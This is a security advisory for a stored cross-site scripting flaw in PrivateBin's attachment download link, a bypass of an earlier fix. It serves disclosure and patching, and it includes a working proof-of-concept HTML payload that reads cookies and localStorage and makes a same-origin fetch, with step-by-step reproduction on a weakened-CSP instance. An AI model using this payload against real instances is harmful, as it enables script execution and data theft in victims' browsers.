CVE-2026-55696: PrivateBin: Stored Cross-Side-Scripting (XSS) vulnerability in attachment download link via dangerous MIME types with required user-interaction

Summary

Stored cross-site scripting (XSS) in PrivateBin's attachment download link. An anonymous attacker can create a paste with a text/html attachment that, with certain user interaction, bypasses protections similar to CVE-2022-24833. When a victim opens the "Download attachment" link in a new tab, the attacker's inline JavaScript executes in the PrivateBin instance's origin with full same-origin capability (cookie/localStorage access, same-origin fetch).

This is an incomplete fix of CVE-2022-24833. The original fix only applies to the inline preview blob (in case of SVG), never to the download link's blob. Thus a text/html (or image/svg) attachment completely bypasses sanitization, re-enabling the exact attack class on instances that don't enforce the recommended Content-Security-Policy, but with a slightly different attack process.

Instances using the default recommended CSP are protected (the blob inherits script-src 'self', blocking inline scripts). The vulnerability affects instances where CSP is weakened, stripped, or absent, which is exactly the defense-in-depth scenario the CVE-2022-24833 fix was meant to cover.

Requires fileupload = true (non-default) and a non-recommended CSP configuration.

Details

In js/privatebin.js, the function AttachmentViewer.setAttachment (line 2982) processes decrypted attachment data. Since PrivateBin uses zero-knowledge encryption, the entire decrypted message (including attachment content and MIME type) is attacker-controlled and can't be inspected or sanitized by the server.

Root cause 1: MIME-gated sanitization (line 3017)

DOMPurify sanitization only triggers when the MIME type matches /^image\/.\svg/i. Any other active content type (such as text/html, application/xhtml+xml, text/xml) completely bypasses sanitization.

js // js/privatebin.js:3017-3023 if (mimeType.match(/^image\/.svg/i)) { // only SVG is considered const sanitizedData = DOMPurify.sanitize( decodedData, purifySvgConfig ); blobUrl = getBlobUrl(sanitizedData, mimeType); // reassigns LOCAL variable only }

Root cause 2: download link always points to unsanitized blob (line 3002)

The "Download attachment" link's href is set to the unsanitized blob URL at line 3002, before the SVG sanitization branch. The SVG branch (line 3022) only reassigns a local variable blobUrl that's consumed by the preview at line 3028. It never updates the download link. So even for SVG attachments, the download link carries unsanitized content.

js // js/privatebin.js:3001-3002 let blobUrl = getBlobUrl(decodedData, mimeType); // unsanitized blob attachmentLink.attr('href', blobUrl); // download link set HERE (never updated)

Root cause 3: MIME type is fully attacker-controlled

The MIME type is extracted from the decrypted data URI at line 3211-3217 via getAttachmentMimeType, which simply reads the substring between data: and ; in the data URI. Since this value comes from the decrypted (attacker-created) payload, the attacker chooses whatever MIME type they want. The browser then creates a Blob with that exact Content-Type at line 2963-2967 via getBlobUrl.

Attack flow:

1. Attacker creates a paste with an attached .html file. The client encodes it as data:text/html;base64,... and encrypts it. 2. Victim opens the paste URL. decryptPaste (line 5387-5397) decrypts the message and calls setAttachment with the attacker's data URI. 3. setAttachment creates a same-origin blob:http://instance/... with Content-Type: text/html containing the attacker's HTML+script. This blob is assigned to the "Download attachment" link's href without any sanitization. 4. Victim opens that link in a new tab (right-click, middle-click, or social-engineered left-click). The browser renders the blob as a full HTML document in the instance's origin, executing the attacker's inline JavaScript.

Relation to CVE-2022-24833:

The 2022 advisory claimed: "whether you open the SVG in a new tab or not and whether CSP is present and enabled or not does not matter any more, as the displayed SVG is sanitized." This doesn't hold because: - The download link's blob is never sanitized (only the preview blob is). - The advisory's safety argument for the download link ("opens from file:// protocol") assumes the file is downloaded to disk. Opening the link in a new tab navigates to a same-origin blob: URL instead.

Proof of concept

Environment: - PrivateBin commit 597a6f0d (version 2.0.4+) - PHP 8.x with built-in server - Chromium-based browser (tested in Playwright/Chromium)

Step 1: Set up a vulnerable instance

bash git clone https://github.com/PrivateBin/PrivateBin.git cd PrivateBin git checkout 597a6f0d mkdir -p data

Create cfg/conf.php with file upload enabled and a weakened CSP (simulating an instance where the recommended CSP isn't enforced, as documented in the original CVE-2022-24833 advisory).

For example, here is a basic config: ini [main] fileupload = true cspheader = "default-src 'unsafe-inline' 'unsafe-eval' data: blob:; img-src data: blob:; media-src blob:; object-src blob:" httpwarning = false

[expire] default = "1week"

[expireoptions] 5min = 300 10min = 600 1hour = 3600 1day = 86400 1week = 604800 1month = 2592000 1year = 31536000 never = 0

[formatteroptions] plaintext = "Plain Text" syntaxhighlighting = "Source Code" markdown = "Markdown"

[traffic] limit = 0

[purge] limit = 300 batchsize = 10

[model] class = "Filesystem"

[modeloptions] dir = "data"

Start the server:

bash php -S 127.0.0.1:8099

Step 2: Prepare the payload file

Save as xss-attachment.html:

html <!DOCTYPE html> <html> <head><title>benign</title></head> <body> <h1>just a harmless document</h1> <script> document.title = 'XSS:' + document.domain; document.body.style.background = '#c00'; document.body.style.color = '#fff'; document.body.innerHTML = '<h1>XSS EXECUTED<br>origin = ' + location.origin + '<br>protocol = ' + location.protocol + '<br>cookies = ' + JSON.stringify(document.cookie) + '<br>localStorage = ' + JSON.stringify(localStorage) + '</h1>'; // prove same-origin capability fetch(location.origin + '/?jsonld=paste', { credentials: 'include' }) .then(r => r.text()) .then(t => document.body.innerHTML += '<pre>same-origin fetch returned ' + t.length + ' bytes</pre>'); </script> </body> </html>

<img width="2217" height="888" alt="grafik" src="https://github.com/user-attachments/assets/bf918b75-a977-4df5-8d3f-6e2ffe238c85" />

Optionally set some cookies and/or localstorage data in your browser console. (PrivateBin likely already has set at least a lang cookie.)

Step 3: Attacker creates the paste

1. Browse to http://127.0.0.1:8099/ 2. Type any text in the document area (e.g., "Quarterly report attached. Open the Download attachment link to view it.") 3. Click Attach a file and select xss-attachment.html. The browser detects the file type as text/html, so the client produces attachment = ["data:text/html;base64,..."]. 4. Click Create. Copy the resulting paste URL.

Step 4: Victim opens the paste

1. Open the paste URL in a browser. The paste decrypts and renders: "Download attachment (xss-attachment.html, ...)" with a blob: link. 2. Right-click the "Download attachment" link and select Open in new tab (or middle-click).

Step 5: Observe XSS execution

The new tab opens at blob:http://127.0.0.1:8099/... with: - Page title: XSS:127.0.0.1 (set by attacker script) - Red background with XSS EXECUTED, origin = http://127.0.0.1:8099, cookies = "", localstorage = ... - A same-origin fetch to the backend that returns real data (proving full origin access)

<img width="2208" height="856" alt="grafik" src="https://github.com/user-attachments/assets/b13678ac-6fba-4cb9-a7b5-ad2f9a12adc0" />

Negative control (default CSP):

Change cspheader in cfg/conf.php back to the recommended default:

ini cspheader = "default-src 'none'; base-uri 'self'; form-action 'none'; manifest-src 'self'; connect-src blob:; script-src 'self' 'wasm-unsafe-eval'; style-src 'self'; font-src 'self'; frame-ancestors 'none'; frame-src blob:; img-src 'self' data: blob:; media-src blob:; object-src blob:; sandbox allow-same-origin allow-scripts allow-forms allow-modals allow-downloads"

Restart the server and open the same paste. The blob navigation now inherits script-src 'self' from the page CSP, blocking inline script execution. The browser console shows: "Executing inline script violates the following Content Security Policy directive 'script-src 'self' 'wasm-unsafe-eval''". The page title stays "benign" (script didn't run).

Impact

Who is impacted: Self-hosted PrivateBin instances that have both: 1. File upload enabled (fileupload = true, default is false) 2. A Content-Security-Policy that doesn't restrict inline scripts (the recommended CSP is weakened, stripped by a reverse proxy/CDN, or absent)

The CVE-2022-24833 advisory documented that such instances exist in the wild. Instances using PrivateBin's default recommended CSP are not affected.

What can an attacker do: - Execute arbitrary JavaScript in the PrivateBin instance's web origin. - Read localStorage and potentially other locally stored data (IndexDB, etc.) for that origin. - Issue authenticated same-origin HTTP requests to the PrivateBin backend (which usually does not have any impact, as PrivateBin does not use traditional authentication methods) or any co-hosted application on the same domain.

What an attacker cannot do: - Exploit instances with the default recommended CSP (inline scripts are blocked in the blob). - Exploit instances that don't have file upload enabled. - Execute without victim interaction (the victim must open the attachment link in a new tab). - Cookie access could not be confirmed (see screenshot above), as these seem to be separated differently. - Access to the opener via window.opener.document (same origin) could not be confirmed. (The link is just not opened via window.open or similar)

That said, PrivateBin currently only stores user preferences (language, template, theme) in cookies or similar, so no authentication tokens or session data. Thus, similar to CVE-2022-24833, the practical risk exists for instances co-hosted with other applications.

Patches

To fix the problem, we took the following measures: Except for a list of safe common mime types used for media (video/audio/PDF etc.) we overwrite the mime-type with application/octet-stream for the download link. This causes the browser to always download the file – even if the user triggered a „Open in new tab“ action – with the exception of the mentioned mime-types. This ensures HTML or any other potentially malicious file types (SVG, XML etc.) are never rendered, mitigating any XSS attacks.

Timeline

2026-06-11 – Received report via GitHub Security Advisory by the reporter. 2026-06-11 – Report gets reviewed and discussed with the initial reporter. 2026-06-13 – Vulnerability gets reproduced and patch is being developed. 2026-06-14 – Patch gets reviewed. 2026-06-1X – Patch gets merged 2026-06-1X – New PrivateBin release is published. 2026-06-XX – Vulnerability details published.

Credits

This vulnerability was reported by Rizky Muhammad, @EvidentObscurity, which we'd like to thank for that. In general, we'd like to thank everyone reporting issues and potential vulnerabilities to us.

If you think you have found a vulnerability or potential security risk, we'd kindly ask you to follow our security policy and report it to us. We then assess the report and will take the actions we deem necessary to address it.